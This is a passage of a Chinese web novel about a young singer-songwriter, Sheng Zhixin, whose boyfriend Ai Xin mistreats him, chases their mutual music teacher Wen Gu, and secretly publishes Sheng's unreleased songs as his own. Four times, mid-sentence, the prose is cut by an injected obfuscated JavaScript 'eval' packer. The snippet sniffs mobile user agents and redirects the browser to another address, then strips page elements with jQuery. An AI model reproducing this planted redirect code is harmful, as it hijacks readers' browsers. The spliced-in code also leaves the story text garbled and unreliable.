他开口,觉得舌头有点打结:“谢谢你昨天的衣服,我交给前台了,她给你了吗?” 温故点点头:“给了。” “那就好,那就好......” 盛知新其实不算个内向的人,在酒吧驻唱时更是靠嘴甜哄了不少客人消费点歌,但是不知道为什么在温故面前嘴巴就变得有点不好用了,笨笨的,只能三两个字往外蹦。 病房里陷入一片安静,他绞尽脑汁想着话题,半晌后终于憋出一个问题:“你为什么帮我啊?我们好像不认识,我不记得我见过你。” 他是真的对温故没有半点印象,这人好像是突然从石头缝里蹦出来,土匪一样闯进他生活里似的。 一个陌生人会连续两次帮他吗?如果仅仅是因为好心,那这人也太善良了点。 温故眯着眼看向他,轻声道:“你真的一点印象没有了?” 盛知新想了又想,摇摇头。 “去年冬天,公司楼外,”温故斟酌半晌,慢慢说,“你那天是去给艾新过生日的吧?” 那天京城下了第一场雪,盛知新穿了一身红,在公司楼下的雪地里蹦蹦跳跳地取暖,正好被下楼的他看见了。 天地一片白,就盛知新一个人在外面,红彤彤的像只苹果。 温故当时心情不太好,正拧着眉回甲方消息,看了一会儿这只在雪地里跳来跳去的苹果后,心情意外由阴转晴,没意识到自己的唇角正微微上翘。 可他的心情还没好几分钟,就听见有人在背后喊他:“温老师!” 他回头,发现是自己那个倒霉学生。 其实他很久没带过学生了,只是这个叫艾新的太会死缠烂打,家里也有关系,托人找到他希望他能帮着带一带,他不能不给人家面子,只能硬着头皮接下了这个活。 艾新总说想当偶像,想火,但是写出来的作品却越来越不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363049|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽人意,和当初给他看的那几首歌相比差距太大了。 在温故眼里,艾新是个很平庸的学生。 之前他碍着朋友的面子忍了又忍,这回刚想装着听不见走人,艾新却热络地拽住了他的衣袖:“温老师,我这次写的歌有个地方处理得不好,您帮我改一下呗!” “你这次的歌要么直接放弃吧,”温故实话实说,“我还是觉得你拿来签公司的那几首好,你把那几首改改。” 艾新脸上的笑有些僵,但声音依旧灿烂:“哎呀温老师,写歌不能急嘛,说不定过个一周两周我忽然就有想法了呢?” 他眼睛亮晶晶地看着温故,温故轻叹一声:“行吧,你哪里不懂?” 艾新正要开口,那只刚才蹦蹦跳跳的“苹果”却不知何时站在了两人不远处的正前方,手里捧着一束火红的玫瑰,还提着一个精致的蛋糕。 温故了然:“你今天生日?这是来给你过生日的朋友?” 艾新脸上的笑容垮了:“不是,我和他不熟,不知道为什么他突然来找我了......老师您等我一下,我去处理完——” “算了。” 温故摆摆手:“下次再说吧,我有点累,先回去了。” 他说完,再也没看艾新一眼,径直往自己停车的地方走去,刚走了没几步,就听见“啪”地一声。 温故回头,看见“苹果”手里捧的花被摔在了地上,花瓣和血似的散落白雪上,氤氲开一片触目惊心的红。 刚才还蹦蹦跳跳的男孩使劲地眨着眼,眼睛红得像只兔子。 “苹果”要哭了,温故心中某个地方像是被戳了一下,酸酸涩涩的,觉得他有点可怜。 ...... “啊......是那次。” 虽然事情过去了几个月,可盛知新一回忆起来当时的心情,还是觉得小腹难受得一阵收缩,露出一个勉强的笑:“对不起,让你看笑话了。” “什么笑话?想给人过生日有什么错?” 温故似乎很稀奇他的道歉:“该道歉的是摔花的人,不管怎么说,心意就这么扔在地上,你很难过吧?” 盛知新张了张嘴,忽然觉得鼻子有点酸。 兴许是受过的委屈太多了,又兴许是家里“多余人”的身份不允许他委屈,他早就对“委屈”这种情绪绝缘,却不知怎么回事,温故三两句话说完,他突然有点想哭。 很久没人说过他做的事没错了。 “往后给在乎你的人过生日吧,”温故似乎话中有话,“别再那么傻了。” 但盛知新好像没读懂他的意思,吸了吸鼻子,小声说:“谢谢你啊,把我送到医院,又和我说这么多。” 温故蹙眉,刚想把话说得更清楚些,走廊里却忽然响起了急促的脚步声,而后病房的门被人“砰”地一声推开。 艾新气喘吁吁地扶着门框,脸色一阵青一阵白,双眼死死地看着病床上的盛知新。 他险些咬碎一口牙,从牙缝里扭曲着挤出来一句话: “温老师,您怎么和他在一起?” 5. 第 5 章 本来艾新就在为温故没去公司烦躁,一听说楼下有个男生找他,更是一脑门官司。 盛知新到底有完没完了? 其实他压根没和温故约好来上课,只是上次见面时提了一嘴,又是撒娇又是耍赖地把人闹得不得不对他的要求说好。答应是答应了,至于来不来,艾新心里一点底都没有。 他等了温故一个小时没等来人,反而等来了盛知新的坏消息。 不知道怎么回事,他们那个教影视史论的老头子发疯非要点名,而盛知新也是傻,呆头呆脑地被抓了,这会儿打电话喊他回去上课。 艾新才不要回去上课。 处分不处分的,对他来说不算什么,反正他不准备保研也不拼奖学金,处分了写个检讨等处分消了就好,真不知道为什么盛知新把这事看得那么重。他不仅要焦虑温故会不会来,还得分出时间哄盛知新,越想越烦躁,后来干脆消息不回电话也不接,但是没想到盛知新居然一口气追到了公司楼下。 万一盛知新被他同期生看见了他就完了。 艾新接完前台的电话,心里又惊又怕,匆匆下楼,却被前台那个小姑娘告知盛知新昏倒了,已经被温故送去医院了。 艾新愣愣地杵在大厅里,脑子里“嗡”地响了一声。 平日在公司里从没见过温故主动对谁好,态度一直都是淡淡的,连他这个学生都鲜少给个笑脸,现在怎么不仅主动给盛知新披衣服,还送他去医院了? 难道...... 艾新不敢多想,只问了前台艾新和温故去哪了,而后二话不说,拦了辆出租车就去了医院。 他只觉得自己把牙咬得“咯咯”响,但不能在温故面前失了过去乖巧听话的面具,只能强忍着恶意用甜得发腻的声音继续和盛知新说:“小盛,你看看你,出这么大事也不和我说一声,我得多担心啊?” 和你说一声? 有没有可能我也刚醒,手机都没拿到呢? 盛知新蹙眉,刚想反驳,却听温故在旁边淡淡地开口:“你怎么和病号说话呢?” 艾新脸色差得像被人打了一拳,嘴角颤了颤,险些没能维系住表面的体贴温柔:“抱歉温老师,我是太担心他了,小盛之前不会照顾自己,我......” 盛知新扬起眉,有点意外。 按照艾新的暴脾气,平日他出现在公司门口就能把他骂个狗血淋头,现在自己捅了个天大的篓子,他居然还能好声好气地和自己说话? 但当他发现艾新的目光一直在温故身上时,他好像又忽然理解了为什么艾少爷脾气忽然变得这么好了。 是因为温故在场,他不好发作吗? 盛知新见艾新的表情越来越扭曲,生怕他把自己憋出个三长两短来,轻声开口:“温......温老师,艾哥好像有话和我说,您要是还有事的话——” 他话还没说完,就被艾新尖锐的声音打断了:“你不许喊他老师!” 温故原本正饶有兴味地看艾新莫名破大防,听见他这道变了音调的声音,有些不悦地拧起一双好看的眉:“你对人家发什么脾气?” 艾新的眼睛红得像要滴血,现在倒是真的一句好话也说不出了,只能听到他“咯吱咯吱”地咬着牙。 “小盛为了来找你低血糖了,他好像有急事,”温故说,“你都不听人家说说么?” 小盛? 艾新忽然笑了下。 被气的。 他和温故满打满算认识两年了,这两年里他用尽浑身解数讨好对方,半年前好不容易让人来教自己音乐,可换来的除了冷漠还是冷漠。他艾少爷从小众星捧月里长大的,从来没见过他追不到的人,所以很多时候他都怀疑温故是不是哪里有问题。 这世界上居然有看不上他的人,简直不可理喻! 可现在这位似乎谁也看不上的人居然喊一个认识没两天的人“小盛”。 盛知新摇摇头:“这是我们两个之间的事,我......” 他之前总听艾新说公司有个很牛的音乐老师,但不知道对方姓甚名甚。今天猝不及防地见了这一面,盛知新觉得艾新好像在仰慕的老师面前有点丢人,有心帮他留点面子。 可温故却一反平日懒得多管闲事的作风,目光转向艾新:“正好人都在,说说看,我怎么都算他的老师,遇到事也能帮帮忙。” 艾新的额角落下一滴汗,有些虚弱地往后靠了靠,借着墙才能站稳。 盛知新看着他苍白的脸色,深吸了一口气说:“艾哥今早有课,但是他说要来公司跟着您练声乐,所以让我帮他早上代一下课,可那节课的老师认识他,我......那个老师让我把艾哥找回来上课,不然就给我处分。” 他说完后,病房静得一丝声音也没有。 温故微微仰起头,将艾新从上到下打量了一遍,再开口时语调里多了几分不悦:“我记得我之前和你说过,不要耽误学校里的课程,你当时怎么答应我的?” 艾新爱做梦,又没什么天赋,温故担心他到最后没法出道也毕不了业,很委婉地和他提过几次不要耽误学校的课程。艾新那会儿答应得好好的,拍着胸口保证自己绝对会在学校拿个漂亮的成绩。 “处分就处分呗,”艾新脑子一热,脱口而出,“我不保研也不要奖学金,我就是想——” “你不在乎处分,那别人呢?”温故打断了他的话,声音里带着冷意,“你总是这么自私,一点不考虑你朋友怎么办吗?” “他不是——” 注意到温故锐利的目光落在自己脸上,艾新被愤怒点燃的大脑这才稍微冷静了几分。 他不愿让别人觉得自己和盛知新是朋友,但更不想让温故知道两人其实是恋人。 他辛辛苦苦瞒了这么久,不能功亏一篑。 盛知新原本以为自己说完起因经过少不了又是一顿狂风暴雨,却没想到温故问的第一句话是: “你不在乎处分,那别人呢?” 这么长时间来,盛知新为别人想得多,为自己想得少。他替爸妈着想,觉得家里不容易,上大学时用的还是四五年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363050|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前淘汰下来的老三星。他替弟妹着想,自己没上过兴趣班,咬咬牙用奖学金给他们报了绘画班,这样就不会被其他同学瞧不起。 哪怕闹成这样,他刚才的第一反应也是别让艾新在崇拜的老师面前丢人。 盛知新眨眨眼,那种会让他鼻酸的“委屈”感又卷土重来了。 艾新被温故问得哑口无言,默默低下头,像是真的十分愧疚。 可他压根没在愧疚,而是在懊恼。他好不容易在温故面前刷的好感,眼下经历过这件事,最后还能剩下多少? 都怪盛知新,老老实实挨处分不好么,非得来找他把他拖下水? 真该死,真该死! “对不起温老师,我错了,以后不会再这样了,”艾新的声音很软,又用出他惯常的撒娇技巧,“您别生气,我回去就和老师解释,我们今天这节课下周上也......” “对了,提到你的课,正好我也有事和你说。” 温故慢慢站起身,声音冷淡:“我觉得我的水平没法为你提供什么帮助,你另请高明吧。” 艾新倏地怔住了:“什么?” 温故不想教他了? 这怎么行?他花钱托关系才把人找来的,甚至写了一篇发自肺腑的小作文,写的他如何喜欢温故的音乐如何仰慕他的才华,他本以为把人追到手只是时间的问题,可现在对方说他不教了? “你没什么天赋,别往这边瞎用力气了,”温故简单地整理了下自己的衣服,“回去好好读书比什么都强。” 他说着正要出门,却忽然转身看向盛知新,将一个页角有些卷的本子递给盛知新:“从你书包里掉出来的,不小心看了两页,抱歉。” 那是他平时用来记点灵感的本子。 “瞎写的,没事,”盛知新接过本子,“谢谢您今天送我来,到时候我把医药费还给您。” 艾新想插嘴,但是温故却看都没再看他一眼,就好像屋子里没有这个人一样。 “瞎写的吗?其实我觉得还挺不错的,很有灵气。” 他从口袋里摸出手机,找到自己的微.信二维码,递给盛知新,唇角微翘,声音温柔:“这是我的联系方式,需要帮助的时候也可以找我。” 盛知新“啊”了一声,有些局促地捏紧了被角:“不,不了吧,太麻烦您了......” 紧接着,他就看见这个刚刚面容冷冽的男人笑得弯了眼睛。 “不是说要还我医药费?”温故像在哄小孩,“不加我怎么还?” 倒也是。 盛知新被他这个理由说服了,刚从床头柜摸到手机准备加温故好友,却忽地听见了“砰”地一声脆响。 一瓶酒精在艾新脚边碎开,刺鼻的酒味渐渐弥漫了整间病房。 可他丝毫没觉得自己的做法有什么不对,死死地盯着温故的手机,双眼一翻,向后踉跄了一步,险些一头栽在地上。 自己软磨硬泡了这么久都没有温故的联系方式,他盛知新凭什么见到温故第一面就能加上微.信?! 6. 第 6 章 盛知新没空管突发恶疾的艾新,诚惶诚恐地扫了温故的二维码。 温故的微.信名字很简洁,简简单单一个W字,头像是张黑白艺术照,显得很神秘,和他这个人一模一样。 虽然艾新从未提过温故的名字,但曾无数次在他面前炫耀过这个特别的厉害的音乐老师。 艾新之前不太赞同他去做酒吧的驻唱,嘴上说着晚上回家太晚自己会担心,但实则一次都没来接过他。 那天盛知新回家太晚,连开门都小心翼翼,生怕影响艾新睡觉让他生气。但是他推开门时,发现客厅的灯还亮着,他那位必须晚上十一点熄灯睡觉的男朋友正神采奕奕地坐在沙发上,好像在等他回家。 这是第一次他回家时家里还有亮光,盛知新又惊讶又感动,正要让艾新去睡觉别等他,却听见了爱人雀跃的声音:“你猜今天我遇到什么好事了?” 盛知新摇摇头,艾新继续说:“我喜欢的那个音乐老师终于答应给我上课了!” 他喜欢的那个音乐老师? 盛知新有些茫然,艾新之前从未和他提过这件事。 “我没和你说吗?我喜欢一个音乐人很久了,”艾新眉梢眼角全是兴奋,“他写的歌我每首都会唱,特别好听,在我心里没人写歌写的比他好听!” 那我呢? 盛知新忽然很想问他这个问题。 在一起之前,你明明也是这么和我说的,说没有人写歌比我更好听,你忘了吗? “他真的好难联系,我拜托了很多人才找到他,一直聊到十一点多,我刚到家,”艾新没注意到盛知新的表情,继续眉飞色舞地讲道,“我的天哪,你不知道他真人有多好看......” 盛知新不想知道。 他只知道自己是自作多情,以为艾新不放心他一个人下夜班回家晚才在家里等自己,却没想到是因为艾新刚下课,没比他早到家几分钟。 而艾新事无巨细地说着自己和那位音乐老师之间的细节,脸上是他从未见过的兴奋和幸福。 这个音乐老师有点讨厌,盛知新想。 他有点嫉妒这个被男朋友崇拜和喜欢的未曾谋面的人。 可那时的他怎么也不会想到,半年后风水轮流转,他不仅见到了那个曾嫉妒过的优秀音乐老师,还在两次危难时被人家解了围,甚至连微.信都加上了。 “好了,有事找我就好,”温故见他加了自己的好友,满意地将手机熄屏,“医药费不着急,你有闲钱了一点点还也行。” 他说着便向门口走去,没看艾新一眼。 艾新从暴怒中回过神,三两步冲过去拽住了温故的袖角:“温老师,你别不要我。” 温故瞥了他一眼,慢慢将衣袖从他手中抽出来:“我没有不要你,我说的很清楚,不合适就是不合适,你的天赋不值得我浪费时间。” 这是温故对他说的第一句重话。 之前哪怕他再怎么作,再怎么纠缠,温故也只是冷着脸不言不语,从未这样直白地贬低过他的音乐水平。 艾新觉得自己的天塌了。 他怅然地看着温故离开病房,房门被“咔”地关上时,他似乎才从这种恍惚中回过神,慢慢转过身。 盛知新几乎是条件反射地叹了口气。 按照他对艾新的了解,少爷要是不舒服,肯定有人要倒霉了。 可让他没想到的是,艾新慢慢走到床边坐下,微微牵了牵唇角,露出了一个有些苦的笑容:“小盛,你没事吧?” 盛知新愣住了。 他预想了一万种艾新暴怒的样子,却唯独没料到眼下这一幕。 艾新是在关心他? “我没什么事,就是早上没吃饭,”盛知新轻声说,“艾哥,我不是故意来公司给你添麻烦的,奖学金对我来说很重要,我不能被处分。” 艾新摆了摆手,意思是他知道了。 “你想吃点什么吗?”艾新说,“糖,水果,还是......” “艾哥。” 盛知新开口,打断了他连珠炮似的话:“你有什么事要和我说吗?” 之前艾新有事求他的时候,偶尔也会像现在这样展露出讨好他的一面,也会控制住自己的脾气,和他好好说话,这半年相处下来他已经摸清了其中的规律。 艾新也没和他客气,开门见山:“你加上温老师微信了,平时没事的时候可以和他说说话,说......说点我的好话。” 盛知新扬起眉,开始细细打量眼前的男朋友。 眼前的人忽然有点陌生,又或者说,他之前从未见过艾新真实的样子。 原来他这样骄横霸道的男朋友也会为了某件事低声下气地去求别人吗? 盛知新心里又有些不舒服了。 艾新会为了自己的事对他温柔,会为了别人的事对他温柔,可好像从来没对盛知新温柔过。 “说什么好话?”盛知新的声音很平静,“我不会。” “你怎么能不会呢?” 艾新轻轻握住了他的手,声音深情得像能掐出水来:“你之前夸我夸得那么好。” 是么?盛知新还以为他都忘了。 他想把自己的手从艾新手里抽出来,可艾新就是抓着不放:“你答应我好不好,小盛?我真的很想跟着他学习,我不想放过这个机会。” “换个别的音乐老师也差不多吧,”盛知新说,“为什么非得是他?” “不一样!” 艾新几乎脱口而出:“他和别人是不一样的。” 盛知新隐约从他的回答中抓住了什么,一闪而逝,等他想再深究时又找不到了。 为什么艾新这么执着于和温故学音乐?又为什么低下头求他和温故说说他的好话? 一个音乐老师而已,一节音乐课而已,他艾新家里情况那么好,再找个比温故更专业的老师也不难吧? 盛知新不觉得自己是什么第六感或直觉很准的人,很多事他感知要比别人慢半拍,可眼下这个情况,他如果再感觉不到有问题,那就太迟钝了。 “哪里不一样?”盛知新歪了歪头,看向艾新。 艾新动了动唇,半晌回了他一句:“反正说了你也不懂。” “我怎么会不懂呢?” 盛知新垂下眼,慢条斯理地说:“我也懂音乐,说不定你的一些问题我能解决呢。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363051|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正就......这是我们之间的事。” 艾新重重地强调了“我们”两个字,听起来是要把盛知新排除在外:“不该问的你少问,帮我和他说我只想上他的课就行。” 盛知新勾勾唇,无声地笑了下。 他还当艾新能坚持多久,怎么没听到想要的答案就不装了? 在今天出这事之前,他总是怕自己因为某件事表现得不好,艾新就不要他了,可现在他发现哪怕是自己表现得好,哪怕是自己听话,事事都按照艾新的要求去做,艾新也会把他丢掉。 盛知新忍气吞声了二十多年,在一个因为低血糖险些摔了脑袋的下午,他忽然就不想忍了。 “好,你不说就不说吧。” 他的点滴快打完了,于是按了床头的呼叫铃,准备喊护士回来给自己拔针头:“你不说,我也没法去温故面前给你说好话,那就这样吧。” 艾新倏地瞪大了眼睛,有些不敢置信地看着他。 在他心里,自己这个小男朋友和泥捏的人一样,没有半分火气,他让做什么就做什么,他不让问的事从不多问,今天这是怎么了?居然开始和他谈条件了? 护士进来把他的针拔了,和他交代了些保养身体的注意事项。盛知新全程听得很认真,一个眼神也没赏给艾新。 “小盛,”艾新有点急,“这对哥来说真的很重要,你就答应哥吧。” 盛知新把自己那本被翻得卷页的五线本放进包里,转身看向他:“我说了,你告诉我原因,我才好去和温故说让他继续回来教你。” 听他这么说,艾新又哑巴了。 盛知新摇摇头,向病房外走去,艾新跟在他身后,直到两人走到医院门口,盛知新才回头看向他:“你还有事要说么?” 艾新咬着牙,还是不说。 “你不说也行。” 盛知新微微眯眼,轻声说:“那我换个条件,你去学校给教你们影视史论的老师道个歉,说自己不是故意不去上课的,这样行么?” 艾新猛地抬头,双眼立刻有了光:“你认真的?” “当然,”盛知新点点头,“说到做到,你去和老师道歉,我这边立刻联系温故,让他继续回来教你。” 处分对艾新来说不算什么,但对盛知新来说这事可太大了。 虽然他也好奇艾新到底为什么缠着温故不放,但那终归是别人的事。他有温故联系方式是一个很好拿捏艾新的把柄,足以让艾新去做点他之前不愿意做的事。 艾新脸上浮现出喜色,连忙走到盛知新身边:“小盛,我送你回家吧。” 之前盛知新好像很想自己送他回家,他想。 为了让盛知新在温故面前多讲讲自己的好话,送他回家一次也没什么。 可让艾新没想到的是,盛知新后退了一步,神色淡淡,声音里没了平时的小心和热忱。 “不用了艾哥,”他轻声说,“我自己能回家,你要是没事做,现在就可以去学校找老师道歉。” 艾新伸出的手僵硬地停在半空,连带着脸色又开始一阵青白。 盛知新这是怎么了? 好像......有点不受他的控制了。 7. 第 7 章 艾新到底还是没能纠缠着盛知新一起回家。 出了医院,盛知新就拦了辆出租车,压根没给艾新再挣扎一下的机会。 “小盛!” 艾新在外面拍着出租车的车窗玻璃,司机有些不安地看向盛知新:“乘客,这是......” 盛知新手里捏着艾新的命门,打定主意在对方不去给专业课老师道歉前不会心软一下,冷声道:“师傅您开车就行。” 司机师傅“哦”了一声,惊疑不定地看了眼还在外面敲窗子的艾新,最后还是脚踩油门走了。 盛知新向后一倒,靠在车座上,长长地舒了一口气。 他觉得现在他们两个人之间需要静静。 盛知新是很缺爱,也缺钱,但是在低血糖晕倒进医院走了一遭后,他隐约间好像忽然抓住了什么东西。 艾新瞒着他不少事情,但是现在他一点也问不出。他之前总是觉得伴侣间应该对彼此多一些信任,所以艾新不愿说的事他也不会刨根问底。 可他在艾新面前是透明的,艾新对他的生活了如指掌,他却在今天刚刚知道艾新音乐老师的名字。 这显然并不等价。 出租车在小区外停下,盛知新刚下车,艾新的电话就到了。 看见屏幕上跳动的联系人名字时,盛知新再一次感觉到了这个世界的陌生。 过去都是他主动给艾新打电话,接不接看艾新心情。艾新总说自己练习忙,很少很少主动给他打电话,总说他们回家就能见到面了,白天发那么多消息干什么。 盛知新站在阳光下盯着那个跳动的名字半晌,还没按接听键,手机便帮他自动挂断了。 而下一刻,艾新又锲而不舍地打了过来。 手机屏幕上的备注跳动得越欢,盛知新的心就越往下沉,他不必接通电话,就知道艾新是为了什么来找他。 他舔了舔唇,最后还是无奈地叹息一声,点了接通。 “小盛,你一直不接电话,吓死我了,”艾新的声音从听筒那头传来,带着细微“滋滋啦啦”的电流声,显得那么不真实,“咱俩话还没说完,你怎么走了呀?” 盛知新深吸一口气:“我们的话已经说完了,你去学校给老师道歉,我就帮你和温故说好话,就这么点事,不必再说了。” 他说完就要把电话挂了,艾新却在那边“哎哎哎”地喊他:“小盛啊,哥——” “艾哥,你还有什么事吗?”盛知新打断了他的话,语气冷淡,“我头有点晕,没有重要的事我就挂断了。” 艾新说“有”,但支支吾吾了半天,也没“有”出个因为所以然来。盛知新觉得太阳穴的血管正“突突”地跳,没再等他憋出什么仨瓜俩枣,直接把电话挂断了。 他回了家,又去找了两块巧克力给自己补充点糖分,顺便开了袋牛奶加热。他刚把牛奶倒进小锅里,放在桌子上的手机“嗡”地震了下。 【W】:你出院了? 【W】:怎么不再躺一会儿? 盛知新嘴里含着巧克力,腾出一只手给他打字:“回家躺着更舒服点。” 【W】:回家?你不住宿舍? 盛知新打字的手一顿,眨了眨眼,心里又酸了下。 艾新没告诉任何人他们两个在校外同居了,盛知新好像一个透明人,从未被艾新的朋友认识,哪怕是以室友的身份。 “我在外面租房子,”盛知新说,“我......住不惯宿舍。” 这回温故没有立刻回复他。 盛知新将牛奶从小锅里倒出来,配了片面包填填肚子,想起来了医药费的事,又敲字问温故:“今天的医药费多少?我转你啊。” 隔了一会儿,温故回他:“暂时不着急,你先吃饱饭再说这事。” 盛知新轻轻“啧”了一声,觉得有点不好意思。 其实他不是吃不起饭吃不饱饭,纯粹是早上醒的太晚了,似乎让温故误会了自己是个家庭条件很差的人。 虽然他的家庭条件确实挺差的,但是高强度打工后他也能把自己养的不错。 盛知新一边吃自己准备的简陋早午餐,一边顺手查了下一般自己这种情况下要花多少钱,查完后倒吸一口冷气。 确实是不小的一笔钱。 而且现在正值月末,他要交房租了。 平日他驻唱和代课的钱能在交完房租后剩下些生活费,但如果要还温故医药费,那这个月他就基本没有钱了。 家里也更不可能给他钱的,只会让他滚回去进厂打工,骂他读书有个屁用。 盛知新摸了摸鬓角,觉得有些头疼。 和同龄的同学相比,这二十来年的人生里,他面对“钱”时产生的焦虑意想不到的多。 房租要交,医药费要还,他不愿意欠别人,哪怕是欠别人一口饭一瓶水都想着要尽快给还上。 还有什么办法能让他弄到一笔用来应急的钱呢? 盛知新漫无目的地划动着手机屏幕,忽然停在了一条信息上。 那是个自称MCN公司负责人两个月前发来的消息,他在酒吧打工时对方说他唱得好,非要和他换联系方式,说他如果签公司了肯定大有作为。 但盛知新早就知道这帮MCN公司的德行,广撒网多捕捞,先把你骗进去完成KPI,至于后面是死是活就没人管你了。 盛知新婉拒了他的要求,说是自己更喜欢做幕后创作一点,当主播网红就婉拒了。可对方听他说更喜欢做幕后时眼睛又是一亮,告诉盛知新如果想发歌卖歌也可以找他,他随时恭候。 两个月前盛知新把他当骗子,两个月后盛知新想靠他搏一搏。 他之前也帮人写过歌,写过幼儿园园歌,写过口水网红歌,光作曲能挣200-400,包词曲一首能有800甚至破千,但找他的人实在很少。 主要还是没名气。 盛知新纠结了片刻,最后还是对现实妥协了。 太穷的人似乎不配保护梦想的纯洁性。 他其实已经有段时间没写点原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363052|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 创了,觉得自己有点摸不清市场的风向,想起来曾经写过那么几首,准备先把这几首歌发在音乐平台上看看效果。 之前他认识的一个一起写歌的朋友就是这样,自作词曲自己唱,唱完发到了平台,就有公司来和她谈买断分成,最后以一个还挺高的价格把版权卖给了音乐公司,公司自带推广每个月还能分她点钱。 就是这钱也不太能cover她平时的支出就是了。 赔钱音乐人啊,他那个朋友总是这么说。 盛知新打开电脑,翻出来自己曾经录好做好后期的几首歌,打好了歌词的时间轴,一首首地传上了平台。 他上次在平台上传歌都是两年前了。 也不知道是什么蹉跎了他的灵感,明明在高中那样高压的学习环境下,他还能抽时间写点自己喜欢的旋律。 盛知新轻轻点击了提交,歌曲进入了平台的审核列表。他舒了口气,正想着要不要旁敲侧击一下那位和自己夸下海口的MCN负责人,却听见电脑传来“叮”的一道提示音。 他蹙眉点开那封未读邮件,却蓦地怔住了: “亲爱的音乐人抱歉,您上传的歌曲未通过审核,小管家检测到您的歌曲与其他歌曲相似度较高,版权方尚未允许任何形式的改编和翻唱,请您在联系版权方取得翻唱或改编授权后重新上传歌曲,并附带相关授权文件,谢谢!” 改编......翻唱? 什么意思? 盛知新忽然觉得自己好像有点不认识中国字。 这几首歌是他录完就存在电脑里的,从未给别人听过看过,也从未在公开平台发表过,什么是“版权方尚未允许任何形式的改编和翻唱”? 明明他才是原创啊。 盛知新咬着唇,强迫自己镇定下来,不信邪地再次上传,但又收到了一封一模一样的审核未通过的邮件。 他点开了听歌识曲,看着麦克风一闪一闪短短三秒,就搜出来了一首歌。 那首歌的旋律和他写的完全一样,甚至连词都没怎么改,在去年年末就上传到了平台上,已经有了999+的收藏和即将999+的评论。 盛知新眼前一阵头晕目眩,颤抖着手点开了音乐人的主页,看见了男朋友的脸。 那是艾新去年拍的艺术照,还是盛知新去陪他一起拍的。 而挂在艾新名字下面的,则是他一直丢在电脑里没管的这几首歌。他的男朋友或许是无意发现了他的作品,又或许是有意找到了他尚未发表的歌曲,抢先一步重新录制上传平台,成了他的歌。 盛知新觉得这个家好安静,静得连风声都消失了,可好像又有点吵,男朋友唱歌时温柔的声音在他耳边环绕,倒像是这个世界上最恶毒的诅咒。 至少......至少作词作曲应该写他的名字吧?盛知新有些绝望地想。 他滑动鼠标,将滚动歌词慢慢拖到最顶上,却看见歌名下的cast写道: “作词:艾新。” “作曲:艾新。” 8. 第 8 章 词曲不是他,写的是艾新的名字。 盛知新呆坐在椅子上,觉得自己好像被什么东西扼住了喉咙,眼前一片晕眩,似乎已经不认识“艾新”两个字如何写。 他一直这样信任的男朋友,就这样偷偷把他的歌传到了音乐平台,一个招呼也没和他打,甚至词作曲作写的都不是他的名字。 盛知新眨了眨眼,觉得自己现在浑身无力。 似乎生不起气,也说不出话,甚至哭都哭不出来,就想这样在这里坐着,坐到天荒地老海枯石烂,坐到小行星撞地球宇宙大爆炸,这样的世界如果毁灭了也没什么。 他从小到大都是个老实人,是个善良的人,但换来的却是家里一次又一次的吸血,是男朋友一次又一次的欺负。他连蚂蚁都舍不得踩,二十多年了第一次在脑中生出“地球应该毁灭”的念头。 电脑里的歌重播了一遍又一遍,歌词最后的Cast写着发行和营销都是艾新的公司,似乎已经说明了一切。 盛知新把他的账号从软件里退出时,才发现了另一个账号,是艾新之前登录过的。 他鬼使神差地登上了男朋友的账号,看见了他账户里的钱和粉丝数。在那栏“播放记录”里,艾新把这几首歌听了几百遍。 常说音乐人赔钱,盛知新那个卖过版权的朋友也曾过着一首歌一个月入账几十块的生活,有时候写了很多个歌,一个月的收益攒下来还不够平信用卡的账。但兴许是因为艾新签了个好公司,他后台账户里的钱要远远多于他们这些小音乐人。 盛知新深吸了一口气,拨通了艾新的电话号码。 他好像想起了很多之前忘记的事。 比如艾新是因为他的原创歌曲才开始和他接触的,比如艾新比任何人都关心他的创作进度,比如艾新曾热心地想要帮他把歌投稿给自己签的公司。 有些东西平日是他疏于计较,记忆却在这个时候全都涌上心头。 艾新没接电话。 盛知新蹙眉,又给他打了过去。 在他第五次拨通艾新的电话时,对面终于接通了。 